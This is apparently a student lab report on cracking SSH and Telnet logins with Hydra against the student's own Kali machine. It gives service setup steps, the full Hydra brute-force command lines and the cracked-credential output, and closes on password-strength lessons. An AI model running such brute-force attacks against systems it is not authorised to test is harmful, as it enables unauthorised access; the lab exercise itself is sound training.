**SSH & Telnet Cracking Exercise Report Using Hydra**

**Objective**

To practice using Hydra for brute-force attacks against network service authentication (SSH and Telnet).

**SSH Cracking Exercise**

**Procedure**

The exercise was conducted in two main phases: SSH service setup and Hydra brute-force attack.

**Phase 1: SSH Service Configuration**

1. User Creation
   * Created a new user test\_user with password testpass on Kali Linux.
   * Command:

sudo adduser test\_user

1. SSH Service Activation
   * Started the SSH service.
   * Command:

sudo service ssh start

1. SSH Connection Test
   * Tested SSH login to the Kali machine (IP: 192.168.1.2).
   * Command:

ssh test\_user@192.168.1.2

**Phase 2: Hydra Brute-Force Attack**

1. Wordlist Preparation
   * Created two wordlists:
     + username\_list.txt (usernames)
     + password\_list.txt (passwords)
2. Hydra Execution
   * Ran Hydra with the following command:

hydra -L username\_list.txt -P password\_list.txt 192.168.1.2 ssh -t 4 -V

* + Parameters:
    - -L: Username wordlist
    - -P: Password wordlist
    - 192.168.1.2: Target IP
    - ssh: Service to attack
    - -t 4: Concurrent tasks
    - -V: Verbose mode

1. **Results**

[22][ssh] host: 192.168.1.2 login: test\_user password: testpass

**Conclusion**

* Successfully configured SSH and cracked credentials using Hydra.
* Confirmed access with credentials test\_user/testpass.
* Highlights the importance of strong passwords against brute-force attacks.

Immagine che contiene schermata, testo, tipografia, design

Descrizione generata automaticamente

**Telnet Cracking Exercise Report**

**Procedure**

Similar two-phase approach: Telnet setup followed by Hydra attack.

**Phase 1: Telnet Service Configuration**

1. **Telnet Installation**
   * Installed telnetd and xinetd.
   * Commands:

sudo apt-get update

sudo apt-get install telnetd xinetd

1. **Configuration File Setup**
   * Edited /etc/xinetd.d/telnet:

**service telnet {**

**flags = REUSE**

**socket\_type = stream**

**wait = no**

**user = root**

**server = /usr/sbin/telnetd**

**log\_on\_failure += USERID**

**disable = no**

**}**

* + **Key Settings:**
    - REUSE: Connection reuse for efficiency
    - stream: TCP data flow
    - user = root: Service runs as root
    - disable = no: Service enabled

1. **Service Activation**
   * Started and verified xinetd:

sudo service xinetd start

sudo service xinetd status

1. **Connection Test**
   * Tested Telnet login (IP: 192.168.1.2) with credentials:
     + Username: telnet\_user
     + Password: telnetpass
   * Command:

**telnet 192.168.1.2**

**Phase 2: Hydra Brute-Force Attack**

1. Wordlist Preparation
   * Created:
     + telnet\_username\_list.txt
     + telnet\_password\_list.txt
2. Hydra Execution
   * Command:

hydra -L telnet\_username\_list.txt -P telnet\_password\_list.txt 192.168.1.2 telnet -t 8 -V -d

* + Additional Parameter:
    - -d: Debug mode

1. **Results**
   * Hydra cracked the credentials:

[23][telnet] host: 192.168.1.2 login: telnet\_user password: telnetpass

Immagine che contiene testo, schermata

Descrizione generata automaticamente

**Conclusion**

* Successfully configured Telnet and cracked credentials via Hydra.
* Verified access with telnet\_user/telnetpass.
* Demonstrates Telnet's vulnerability to brute-force attacks.